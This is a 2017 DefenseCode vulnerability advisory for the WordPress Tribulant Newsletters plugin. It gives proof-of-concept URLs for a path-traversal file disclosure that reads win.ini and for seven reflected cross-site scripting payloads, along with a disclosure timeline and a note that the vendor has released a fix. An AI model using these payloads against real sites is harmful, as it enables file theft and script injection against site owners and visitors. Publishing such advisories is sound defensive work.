WordPress Tribulant Newsletters XSS / File Disclosure

Credit: DefenseCode
Risk: Medium
Local: No
Remote: Yes

DefenseCode WebScanner DAST Advisory WordPress Tribulant Newsletters Plugin Multiple Security Vulnerabilities Advisory ID: DC-2017-01-012 Advisory Title: WordPress Tribulant Newsletters Plugin Multiple Vulnerabilities Advisory URL: http://www.defensecode.com/advisories.php Software: WordPress Tribulant Newsletters Plugin Language: PHP Version: and below Vendor Status: Vendor contacted, update released Release Date: 2017/05/29 Risk: Medium 1. General Overview =================== During the security audit of Tribulant Newsletters plugin for WordPress CMS, multiple vulnerabilities were discovered using DefenseCode WebScanner application security analysis platform. More information about WebScanner is available at URL: http://www.defensecode.com 2. Software Overview ==================== According to the authors, WordPress Tribulant Newsletters plugin is a full-featured newsletter plugin for WordPress which fulfils all subscribers, emails, marketing and newsletter related needs for both personal and business environments. According to wordpress.org, it has more than 9,000 active installs. Homepage: https://wordpress.org/plugins/newsletters-lite/ http://tribulant.com/plugins/view/1/wordpress-newsletter-plugin 3. Vulnerability Description ================================== During the security analysis, WebScanner discovered File Disclosure vulnerability and multiple Cross Site Scripting vulnerabilities in Tribulant Newsletters plugin. 3.1 File Disclosure ---- Input: $_GET['file'] Vulnerable URL: http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&wpmlmethod=exportdownload&file=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cWINDOWS%5cwin.ini 3.2 Cross-Site Scripting ---- Input: $_GET['method'] Vulnerable URL: http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=check-expired%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E 3.3 Cross-Site Scripting ---- Input: $_GET['id'] Vulnerable URL: http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E Note: Subscriber id (parameter "id") must exist. Value 1 is a good guess for start ;) 3.4 Cross-Site Scripting ---- Input: $_GET['id'] Vulnerable URL: http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-lists&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E 3.5 Cross-Site Scripting ---- Input: $_GET['value'] Vulnerable URL: http://vulnerablesite.com/wp-admin/admin-ajax.php?action=newsletters_gauge&value=1});alert(1);</script> 3.6 Cross-Site Scripting ---- Input: $_GET['order'] Vulnerable URL: http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&orderby=theme_id&order=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E 3.7 Cross-Site Scripting ---- Input: $_GET['wpmlsearchterm'] Vulnerable URL: http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&wpmlsearchterm=x%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E 3.8 Cross-Site Scripting ---- Input: $_GET['wpmlmessage'] Vulnerable URL: http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&wpmlupdated=true&wpmlmessage=%3Cscript%3Ealert%281%29%3C%2Fscript%3E 4. Solution =========== Vendor resolved the security issues after we reported the vulnerabilities. All users are strongly advised to update WordPress Tribulant Newsletters plugin to the latest available version. 5. Credits ========== Discovered with DefenseCode WebScanner security analyzer by Neven Biruski. 6. Disclosure Timeline ====================== 2017/04/04 Vendor contacted 2017/04/06 Vendor responded, update released 2017/05/29 Advisory released to the public 7. About DefenseCode ==================== DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop and mobile applications for security vulnerabilities. DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing) solution for performing extensive security audits of application source code. ThunderScan SAST performs fast and accurate analyses of large and complex source code projects delivering precise results and low false positive rate. DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing) solution for comprehensive security audits of active web applications. WebScanner will test a website's security by carrying out a large number of attacks using the most advanced techniques, just as a real attacker would. Subscribe for free software trial on our website http://www.defensecode.com/ . E-mail: defensecode[at]defensecode.com Website: http://www.defensecode.com Twitter: https://twitter.com/DefenseCode/

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